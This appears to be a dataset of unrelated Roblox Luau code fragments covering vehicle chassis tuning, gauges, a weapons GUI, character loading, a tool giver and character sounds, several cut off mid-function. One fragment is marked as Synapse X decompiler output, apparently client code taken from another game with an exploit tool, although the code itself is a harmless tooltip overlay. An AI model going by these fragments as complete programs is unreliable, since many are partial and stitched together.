v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = (_GBrake + _CBrake)
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
_ABSActive = (tqABS<1)
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- This function assumes the character exists when it's called and has default behavior,
-- i.e. developer is not parenting the character somewhere manually |
function CharacterLoadedWrapper._waitForLoadedAsync(self: ClassType, character: Model)
if not self:isLoaded() then
-- Wait until the character is in Workspace so that the following conditions don't skip running.
-- If the character is destroyed after this and never parented, :Wait() never resumes, causing the thread
-- to yield forever, preventing the character from being garbage collected. Bug filed here:
-- TODO: Add link to bug report
if not character:IsDescendantOf(Workspace) then
-- The character should be in workspace after waiting. However, deferred events may
-- cause a character to get parented in and then back out before this :Wait() resumes,
-- so we still need to check character.Parent later
character.AncestryChanged:Wait()
end
-- Check character.Parent to avoid starting a :Wait() if the character is already destroyed
-- which would keep the character from being garbage collected
if character.Parent then
if not isPrimaryPartSet(character) then
character:GetPropertyChangedSignal("PrimaryPart"):Wait()
end
local humanoidMaybe = getHumanoid(character)
if not humanoidMaybe then
humanoidMaybe = waitForChildOfClassAsync(character, "Humanoid") :: Humanoid
end
local humanoid = humanoidMaybe :: Humanoid
while not isHumanoidRootPartSet(humanoid) do
humanoid.Changed:Wait() -- GetPropertyChangedSignal doesn't fire for RootPart, so we rely on .Changed
end
end
-- Verify the character hasn't been destroyed and that no loaded criteria has become un-met.
-- For example, the Humanoid being destroyed before the PrimaryPart was set
if not self:isLoaded(character) then
return
end
end
-- Make sure this class wasn't destroyed while waiting for conditions to be true
if self._destroyed then
return
end
self:_listenForDeath(character)
self.loaded:Fire(character)
end
function CharacterLoadedWrapper._listenForDeath(self: ClassType, character: Model)
-- Debounce to prevent deferred events from letting .died event fire more than once,
-- such as if the humanoid dies and the character is destroyed in the same compute cycle.
-- With deferred events, that would fire both events on the next cycle, even if the connection
-- is disconnected within the response to the event.
local humanoid = getHumanoid(character) :: Humanoid
local alreadyDied = false
local diedConnection, removedConnection
local function onDied()
if alreadyDied then
return
end
alreadyDied = true
diedConnection:Disconnect()
removedConnection:Disconnect()
self.died:Fire(character)
end
diedConnection = humanoid.Died:Connect(onDied)
-- .Destroying event would be preferred, but :LoadCharacter() just removes
-- the character instead of destroying it. As long as that is the case, we
-- can't use .Destroying to cover all edge cases.
removedConnection = character.AncestryChanged:Connect(function()
if not character:IsDescendantOf(Workspace) then
onDied()
end
end)
self._connections:add(diedConnection, removedConnection)
end
function CharacterLoadedWrapper.destroy(self: ClassType)
self.loaded:DisconnectAll()
self.died:DisconnectAll()
self._destroyed = true
self._connections:disconnect()
end
return CharacterLoadedWrapper
|
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 2.65 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 0.5 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 0.350 , -- Reverse, Neutral, and 1st gear are required
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[VARIABLE DEFINITION ANOMALY DETECTED, DECOMPILATION OUTPUT POTENTIALLY INCORRECT]]--
-- Decompiled with the Synapse X Luau decompiler. |
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local v1 = {};
local l__InfoOverlay__2 = u1.Assets.UI:WaitForChild("InfoOverlay");
local u2 = nil;
local l__Blocks__3 = l__InfoOverlay__2:WaitForChild("Blocks");
local u4 = {};
local u5 = nil;
local u6 = u1.PlayerModule.Get("Mouse");
local u7 = game:GetService("GuiService"):GetGuiInset();
local u8 = {};
function v1.Add(p1, ...)
if u2 then
v1.Remove();
end;
local v3 = l__InfoOverlay__2:FindFirstChild("Base"):Clone();
local v4 = 0;
for v5, v6 in ipairs({ ... }) do
local v8 = v6[1];
local v9 = l__Blocks__3:FindFirstChild(v8):Clone();
local l__settings__10 = v9:FindFirstChild("settings");
if l__settings__10 and l__settings__10:FindFirstChild("code") then
coroutine.wrap(function()
(u4[v8] or require(l__settings__10:FindFirstChild("code")))(v9, unpack(v6));
end)();
end;
v9.LayoutOrder = v5 * 100;
if l__settings__10 then
local v11 = l__settings__10:GetAttribute("boundsX");
local l__Y__12 = v11.Y;
local v13 = 0;
local v14 = 0;
local v15 = 0;
for v16, v17 in ipairs(v9:GetChildren()) do
if v17:IsA("GuiObject") and v17.Visible then
if v17.ClassName == "TextLabel" or v17.ClassName == "TextButton" then
if v17.Size.X.Scale ~= 0 then
local v19 = u1.TextService:GetTextSize(string.gsub(v17.Text, "<.->", function()
return "";
end), v17.TextSize, v17.Font, (Vector2.new(l__Y__12 * v17.Size.X.Scale, 1000))) + Vector2.new(4, 1);
v13 = math.max(v19.X, v13);
v14 = v14 + math.max(v19.Y, v9.AbsoluteSize.Y);
v17.Size = UDim2.new(0, v19.X, 0, v19.Y);
end;
elseif v17.Size.X.Scale ~= 0 then
v15 = v15 + v17.AbsoluteSize.Y;
end;
end;
end;
local v20 = v9:FindFirstChildOfClass("UIListLayout");
if v20 and v20.FillDirection == Enum.FillDirection.Horizontal then
v13 = math.max(v20.AbsoluteContentSize.X, v13);
end;
v9.Size = UDim2.new(1, 0, 0, v14 + v15);
v4 = math.max(math.clamp(v13, v11.X, l__Y__12), v4);
end;
v9.Parent = v3.Frame.Blocks;
end;
local v21 = v3.Frame.Blocks:FindFirstChildOfClass("UIPadding");
local v22 = v3.Frame.Blocks:FindFirstChildOfClass("UIListLayout");
v22:ApplyLayout();
v3.Size = UDim2.new(0, v4 + v21.PaddingLeft.Offset + v21.PaddingRight.Offset, 0, v22.AbsoluteContentSize.Y + v21.PaddingTop.Offset + v21.PaddingBottom.Offset);
v3.UIScale.Scale = 1 - (1 - math.min(u1.Functions.ResolutionScale(), 1)) / 1.5;
if not u5 then
u5 = Instance.new("ScreenGui");
u5.DisplayOrder = 100;
u5.ZIndexBehavior = Enum.ZIndexBehavior.Global;
u5.ResetOnSpawn = false;
u5.Name = "InfoOverlay";
u5.Parent = u1.PlayerModule.Get("PlayerGui");
end;
v3.Parent = u5;
u2 = v3;
u1.GUI.ToggleCursor(false);
local v23 = nil;
for v24, v25 in ipairs({ ... }) do
if v25[1] == "Rarity" and v25[2] then
v23 = v25[2];
break;
end;
end;
if v23 == "Mythical" or v23 == "Exclusive" then
local v27 = v3.Frame:FindFirstChildOfClass("UIStroke");
v27.Color = Color3.new(1, 1, 1);
local v28 = u1.Assets.UI.Raritys:FindFirstChild(v23):Clone();
v28.Parent = v27;
if v23 == "Mythical" then
v3.pointer.pointer.ImageColor3 = Color3.fromRGB(255, 85, 255);
elseif v23 == "Exclusive" then
v3.pointer.pointer.ImageColor3 = Color3.fromRGB(255, 170, 255);
end;
if v23 == "Mythical" then
task.defer(function()
local v29 = true;
while v3 and v3.Parent do
local v30 = v29 and Color3.fromRGB(255, 245, 230) or Color3.new(1, 1, 1);
u1.Functions.Tween(v3.pointer, { 1.25, 1, 2 }, {
ImageColor3 = v30
});
u1.Functions.Tween(v3.Frame, { 1.25, 1, 2 }, {
BackgroundColor3 = v30
}).Completed:Wait();
v29 = not v29;
end;
end);
end;
task.defer(function()
while v3 and v3.Parent do
v28.Rotation = os.clock() * 250;
u1.RenderStepped();
end;
end);
end;
local u9 = "Down";
task.defer(function()
while v3 and v3.Parent do
local v31 = u6.X;
local v32 = u6.Y;
local l__X__33 = v3.AbsoluteSize.X;
local l__Y__34 = v3.AbsoluteSize.Y;
local v35 = game.Workspace.CurrentCamera.ViewportSize.Y - u7.Y;
if u1.Variables.Console then
v31 = p1.AbsolutePosition.X + p1.AbsoluteSize.X * 0.5;
v32 = p1.AbsolutePosition.Y + p1.AbsoluteSize.Y * 0.5;
end;
if v32 + l__Y__34 + 30 < v35 then
u9 = "Down";
elseif v32 - l__Y__34 - 30 > 0 then
u9 = "Up";
end;
local v36
if u9 == "Down" then
v36 = 30;
else
v36 = -30;
end;
local v37
if u9 == "Down" then
v37 = 0;
else
v37 = 1;
end;
v3.AnchorPoint = Vector2.new(0, v37);
local v38
v3.Position = UDim2.new(0, math.clamp(v31 + 30, 0, game.Workspace.CurrentCamera.ViewportSize.X - u7.X + (-l__X__33 and l__X__33)), 0, (math.clamp(v32 + v36, 0, v35 + (u9 == "Down" and -l__Y__34 or l__Y__34))));
if u9 == "Down" then
v38 = 1;
else
v38 = 0;
end;
v3.pointer.AnchorPoint = Vector2.new(1, v38);
local v39
if u9 == "Down" then
v39 = 0;
else
v39 = 1;
end;
local v40
if u9 == "Down" then
v40 = 30;
else
v40 = -30;
end;
v3.pointer.Position = UDim2.new(0, 30, v39, v40);
if u9 == "Down" then
v3.pointer.Rotation = 0;
elseif u9 == "Up" then
v3.pointer.Rotation = -90;
else
v3.pointer.Rotation = -180;
end;
u1.RenderStepped();
end;
end);
task.defer(function()
while v3 and v3.Parent do
local l__X__41 = u6.X;
local l__Y__42 = u6.Y;
local l__X__43 = p1.AbsolutePosition.X;
local l__Y__44 = p1.AbsolutePosition.Y;
if not u1.Variables.Console then
if l__X__43 + p1.AbsoluteSize.X < l__X__41 or l__X__41 < l__X__43 or l__Y__44 + p1.AbsoluteSize.Y < l__Y__42 or l__Y__42 < l__Y__44 then
v1.Remove();
end;
elseif u1.GuiService.SelectedObject ~= p1 then
v1.Remove();
end;
u1.RenderStepped();
end;
end);
if u1.Variables.Mobile then
local u10 = nil;
local u11 = tick();
u10 = p1.MouseButton1Up:Connect(function()
u10:Disconnect();
if tick() - u11 < 0.5 then
v1.Remove();
end;
end);
u8[#u8 + 1] = u10;
end;
end;
function v1.Remove()
if u2 then
for v45, v46 in ipairs(u8) do
v46:Disconnect();
end;
u8 = {};
u2:Destroy();
u1.GUI.ToggleCursor(true);
u2 = nil;
end;
end;
return v1;
|
-- << ASSET PERMISSIONS >> (e.g. Gamepasses, Shirts, Models etc) |
local Asset_Permissions = false -- Set to 'true' to use |
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio
-- These are the IDs of the piano sounds. |
settings.SoundSource = Box
settings.CameraCFrame = CFrame.new(
(Box.CFrame * CFrame.new(0, 5, 3)).p, -- +z is towards player
(Box.CFrame * CFrame.new(0, 1, 1)).p
) |
-- This scales the scale amount non-linearly according to scaleWeight |
function WeaponsGui:getWeightedScaleAmount(originalScaleAmount, newScreenDim, referenceScreenDim)
return (1 - self.scaleWeight) * originalScaleAmount * referenceScreenDim / newScreenDim + self.scaleWeight * originalScaleAmount
end
function WeaponsGui:updateScale(guiObject, viewportSize)
if guiObject:IsA("GuiObject") then
local xScale = guiObject.Size.X.Scale
local yScale = guiObject.Size.Y.Scale
if xScale ~= 0 or yScale ~= 0 or self.originalScaleAmounts[guiObject] ~= nil then
if self.originalScaleAmounts[guiObject] == nil then
self.originalScaleAmounts[guiObject] = Vector2.new(xScale, yScale)
end
xScale = self:getWeightedScaleAmount(self.originalScaleAmounts[guiObject].X, viewportSize.X, self.referenceViewportSize.X)
yScale = self:getWeightedScaleAmount(self.originalScaleAmounts[guiObject].Y, viewportSize.Y, self.referenceViewportSize.Y)
guiObject.Size = UDim2.new(xScale, 0, yScale, 0)
end
return -- makes it so only the most outer container will be scaled
end
for _, child in ipairs(guiObject:GetChildren()) do
self:updateScale(child, viewportSize)
end
end
function WeaponsGui:setEnabled(enabled)
if self.enabled == enabled then
return
end
self.enabled = enabled
if self.enabled then
self.connections.renderStepped = RunService.RenderStepped:Connect(function(dt) self:onRenderStepped(dt) end)
else
self:setZoomed(false)
for _, v in pairs(self.connections) do
v:Disconnect()
end
self.connections = {}
end
if self.gui then
self.gui.Enabled = self.enabled
end
end
function WeaponsGui:setCrosshairEnabled(crosshairEnabled)
if self.crosshairEnabled == crosshairEnabled then
return
end
self.crosshairEnabled = crosshairEnabled
if self.crosshairFrame then
self.crosshairFrame.Visible = self.crosshairEnabled
end
if self.hitMarker then
self.hitMarker.ImageTransparency = 1
self.hitMarker.Visible = self.crosshairEnabled
end
end
function WeaponsGui:setScopeEnabled(scopeEnabled)
if self.scopeEnabled == scopeEnabled then
return
end
self.scopeEnabled = scopeEnabled
if self.scopeFrame then
self.scopeFrame.Visible = self.scopeEnabled
end
local jumpButton = getJumpButton()
if self.scopeEnabled then
self.smallFireButton.Visible = true
self.largeFireButton.Visible = true
if jumpButton then
jumpButton.Visible = false
end
else
self.smallFireButton.Visible = false
self.largeFireButton.Visible = false
if jumpButton then
jumpButton.Visible = true
end
end
end
function WeaponsGui:setCrosshairWeaponScale(scale)
if self.crosshairWeaponScale == scale then
return
end
self.crosshairWeaponScale = scale
end
function WeaponsGui:setCrosshairScaleTarget(target, dampingRatio, frequency)
if typeof(dampingRatio) == "number" then
self.crosshairDampingRatio = dampingRatio
end
if typeof(frequency) == "number" then
self.crosshairFrequency = frequency
end
if self.crosshairScaleTarget == target then
return
end
self.crosshairScaleTarget = target
SpringService:Target(self, self.crosshairDampingRatio, self.crosshairFrequency, { crosshairScale = self.crosshairScaleTarget })
end
function WeaponsGui:setCrosshairScale(scale)
if self.crosshairScale == scale then
return
end
self.crosshairScale = scale
SpringService:Target(self, self.crosshairDampingRatio, self.crosshairFrequency, { crosshairScale = self.crosshairScaleTarget })
end
function WeaponsGui:OnHitOtherPlayer(damage, humanoidHit) -- show hit indicator, then fade
self.hitMarker.ImageTransparency = 0
local tweenInfo = TweenInfo.new(0.8)
local goal = {}
goal.ImageTransparency = 1
local tween = TweenService:Create(self.hitMarker, tweenInfo, goal)
tween:Play()
DamageBillboardHandler:ShowDamageBillboard(damage, humanoidHit.Parent:FindFirstChild("Head"))
end
function WeaponsGui:onRenderStepped(dt)
if not self.enabled then
return
end
if not self.gui then
return
end
if self.crosshairFrame and self.crosshairEnabled then
local crosshairSize = self.crosshairNormalSize * self.crosshairScale * self.crosshairWeaponScale
self.crosshairFrame.Size = UDim2.new(0, crosshairSize.X, 0, crosshairSize.Y)
end
end
function WeaponsGui:setZoomed(zoomed)
if zoomed == self.isZoomed then
return
end
self.isZoomed = zoomed
local normalImage = self.isZoomed and AIM_OFF_NORMAL or AIM_ON_NORMAL
local pressedImage = self.isZoomed and AIM_OFF_PRESSED or AIM_ON_PRESSED
if self.smallAimButton then
self.smallAimButton.Image = normalImage
self.smallAimButton.PressedImage = pressedImage
end
if self.largeAimButton then
self.largeAimButton.Image = normalImage
self.largeAimButton.PressedImage = pressedImage
end
if self.weaponsSystem.camera then
self.weaponsSystem.camera:setForceZoomed(self.isZoomed)
end
end
function WeaponsGui:onTouchAimButtonActivated()
self:setZoomed(not self.isZoomed)
end
function WeaponsGui:onTouchFireButton(inputObj, inputState)
local currentWeapon = self.weaponsSystem.currentWeapon
if currentWeapon and currentWeapon.instance and currentWeapon.instance:IsA("Tool") then
if inputObj.UserInputState == Enum.UserInputState.Begin then
currentWeapon.instance:Activate()
if self.smallFireButton then
self.smallFireButton.Image = FIRE_PRESSED
end
if self.largeFireButton then
self.largeFireButton.Image = FIRE_PRESSED
end
inputObj:GetPropertyChangedSignal("UserInputState"):Connect(function()
if inputObj.UserInputState == Enum.UserInputState.End then
currentWeapon.instance:Deactivate()
if self.smallFireButton then
self.smallFireButton.Image = FIRE_NORMAL
end
if self.largeFireButton then
self.largeFireButton.Image = FIRE_NORMAL
end
end
end)
end
end
end
return WeaponsGui
|
--Automatic Gauge Scaling |
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 175 / 7000
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then
gearText = "N"
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N"
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N"
elseif gearText == -1 then
gearText = "R"
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R"
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R"
end
script.Parent.Gear.Text = gearText
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
inspd.Rotation = -30 + (240 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!! |
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.ShrinkPotion-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
-- ROBLOX deviation END |
local typesModule = require(Packages.JestTypes)
type Global_ArrayTable = typesModule.Global_ArrayTable
type Global_Col = typesModule.Global_Col
type Global_Row = typesModule.Global_Row
type Global_Table = typesModule.Global_Table
local pretty = require(Packages.PrettyFormat).format
|
-- map a value from one range to another |
local function map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number
return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end
local function playSound(sound: Sound)
sound.TimePosition = 0
sound.Playing = true
end
local function shallowCopy(t)
local out = {}
for k, v in pairs(t) do
out[k] = v
end
return out
end
local function initializeSoundSystem(instances)
local player = instances.player
local humanoid = instances.humanoid
local rootPart = instances.rootPart
local sounds: {[string]: Sound} = {}
-- initialize sounds
for name: string, props: {[string]: any} in pairs(SOUND_DATA) do
local sound: Sound = Instance.new("Sound")
sound.Name = name
-- set default values
sound.Archivable = false
sound.RollOffMinDistance = 5
sound.RollOffMaxDistance = 150
sound.Volume = 0.65
for propName, propValue: any in pairs(props) do
(sound :: any)[propName] = propValue
end
sound.Parent = rootPart
sounds[name] = sound
end
local playingLoopedSounds: {[Sound]: boolean?} = {}
local function stopPlayingLoopedSounds(except: Sound?)
for sound in pairs(shallowCopy(playingLoopedSounds)) do
if sound ~= except then
sound.Playing = false
playingLoopedSounds[sound] = nil
end
end
end
-- state transition callbacks.
local stateTransitions: {[Enum.HumanoidStateType]: () -> ()} = {
[Enum.HumanoidStateType.FallingDown] = function()
stopPlayingLoopedSounds()
end,
[Enum.HumanoidStateType.GettingUp] = function()
stopPlayingLoopedSounds()
playSound(sounds.GettingUp)
end,
[Enum.HumanoidStateType.Jumping] = function()
stopPlayingLoopedSounds()
playSound(sounds.Jumping)
end,
[Enum.HumanoidStateType.Swimming] = function()
local verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)
if verticalSpeed > 0.1 then
sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
playSound(sounds.Splash)
end
stopPlayingLoopedSounds(sounds.Swimming)
sounds.Swimming.Playing = true
playingLoopedSounds[sounds.Swimming] = true
end,
[Enum.HumanoidStateType.Freefall] = function()
sounds.FreeFalling.Volume = 0
stopPlayingLoopedSounds(sounds.FreeFalling)
playingLoopedSounds[sounds.FreeFalling] = true
end,
[Enum.HumanoidStateType.Landed] = function()
stopPlayingLoopedSounds()
local verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)
if verticalSpeed > 75 then
sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
playSound(sounds.Landing)
end
end,
--[[
[Enum.HumanoidStateType.Running] = function()
stopPlayingLoopedSounds(sounds.Running)
sounds.Running.Playing = true
playingLoopedSounds[sounds.Running] = true
end,
]]
[Enum.HumanoidStateType.Climbing] = function()
local sound = sounds.Climbing
if math.abs(rootPart.AssemblyLinearVelocity.Y) > 0.1 then
sound.Playing = true
stopPlayingLoopedSounds(sound)
else
stopPlayingLoopedSounds()
end
playingLoopedSounds[sound] = true
end,
[Enum.HumanoidStateType.Seated] = function()
stopPlayingLoopedSounds()
end,
--[[
[Enum.HumanoidStateType.Dead] = function()
stopPlayingLoopedSounds()
playSound(sounds.Died)
end,
]]
}
-- updaters for looped sounds
local loopedSoundUpdaters: {[Sound]: (number, Sound, Vector3) -> ()} = {
